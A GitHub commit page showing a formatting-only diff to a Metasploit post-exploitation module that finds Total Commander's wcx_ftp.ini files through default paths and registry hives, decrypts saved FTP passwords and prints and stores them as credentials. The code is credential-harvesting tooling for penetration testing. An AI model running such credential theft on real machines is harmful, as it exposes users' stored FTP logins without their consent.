Skip to content

Commit d4f418f

Browse files
void-inwchen-r7
authored andcommitted
Style corrections
See rapid7#5480
1 parent 63708f2 commit d4f418f

File tree

1 file changed

+19
-19
lines changed

1 file changed

+19
-19
lines changed

modules/post/windows/gather/credentials/total_commander.rb

Lines changed: 19 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ def initialize(info={})
3131
end
3232

3333
def run
34-
print_status("Checking Default Locations...")
34+
print_status('Checking Default Locations...')
3535
check_systemroot
3636

3737
grab_user_profiles().each do |user|
@@ -45,25 +45,25 @@ def run
4545
hklmpath = registry_getvaldata(commander_key, 'FtpIniName')
4646
case hklmpath
4747
when nil
48-
print_status("Total Commander Does not Appear to be Installed Globally")
49-
when "wcx_ftp.ini"
48+
print_status('Total Commander Does not Appear to be Installed Globally')
49+
when 'wcx_ftp.ini'
5050
print_status("Already Checked SYSTEMROOT")
51-
when ".\\wcx_ftp.ini"
51+
when '.\\wcx_ftp.ini'
5252
hklminstpath = registry_getvaldata(commander_key, 'InstallDir') || ''
5353
if hklminstpath.empty?
54-
print_error("Unable to find InstallDir in registry, skipping wcx_ftp.ini")
54+
print_error('Unable to find InstallDir in registry, skipping wcx_ftp.ini')
5555
else
5656
check_other(hklminstpath +'\\wcx_ftp.ini')
5757
end
5858
when /APPDATA/
59-
print_status("Already Checked AppData")
59+
print_status('Already Checked AppData')
6060
when /USERPROFILE/
61-
print_status("Already Checked USERPROFILE")
61+
print_status('Already Checked USERPROFILE')
6262
else
6363
check_other(hklmpath)
6464
end
6565

66-
userhives=load_missing_hives()
66+
userhives = load_missing_hives()
6767
userhives.each do |hive|
6868
next if hive['HKU'] == nil
6969
print_status("Looking at Key #{hive['HKU']}")
@@ -72,21 +72,21 @@ def run
7272
print_status("HKUP: #{hkupath}")
7373
case hkupath
7474
when nil
75-
print_status("Total Commander Does not Appear to be Installed on This User")
76-
when "wcx_ftp.ini"
75+
print_status('Total Commander Does not Appear to be Installed on This User')
76+
when 'wcx_ftp.ini'
7777
print_status("Already Checked SYSTEMROOT")
78-
when ".\\wcx_ftp.ini"
78+
when '.\\wcx_ftp.ini'
7979
hklminstpath = registry_getvaldata(profile_commander_key, 'InstallDir') || ''
8080
if hklminstpath.empty?
81-
print_error("Unable to find InstallDir in registry, skipping wcx_ftp.ini")
81+
print_error('Unable to find InstallDir in registry, skipping wcx_ftp.ini')
8282
else
8383
check_other(hklminstpath +'\\wcx_ftp.ini')
8484
end
8585
when /APPDATA/
86-
print_status("Already Checked AppData")
86+
print_status('Already Checked AppData')
8787

8888
when /USERPROFILE/
89-
print_status("Already Checked USERPROFILE")
89+
print_status('Already Checked USERPROFILE')
9090
else
9191
check_other(hkupath)
9292
end
@@ -153,16 +153,16 @@ def get_ini(filename)
153153
ini=Rex::Parser::Ini.from_s(parse)
154154

155155
ini.each_key do |group|
156-
next if group=="General" or group == "default" or group=="connections"
156+
next if group == 'General' or group == 'default' or group == 'connections'
157157
print_status("Processing Saved Session #{group}")
158158
host = ini[group]['host']
159159

160160
username = ini[group]['username']
161161
passwd = ini[group]['password']
162-
next if passwd==nil
162+
next if passwd == nil
163163
passwd = decrypt(passwd)
164164
(host,port) = host.split(':')
165-
port=21 if port==nil
165+
port = 21 if port == nil
166166
print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")
167167
if session.db_record
168168
source_id = session.db_record.id
@@ -214,7 +214,7 @@ def decrypt(pwd)
214214
b=seed(len)
215215
t=pwd3[a]
216216
pwd3[a] = pwd3[b]
217-
pwd3[b]=t
217+
pwd3[b] = t
218218
end
219219

220220

@@ -231,7 +231,7 @@ def decrypt(pwd)
231231
end
232232

233233

234-
fpwd=""
234+
fpwd = ""
235235
pwd3[0,len].map{|a| fpwd << a.chr}
236236
return fpwd
237237

0 commit comments

Comments
 (0)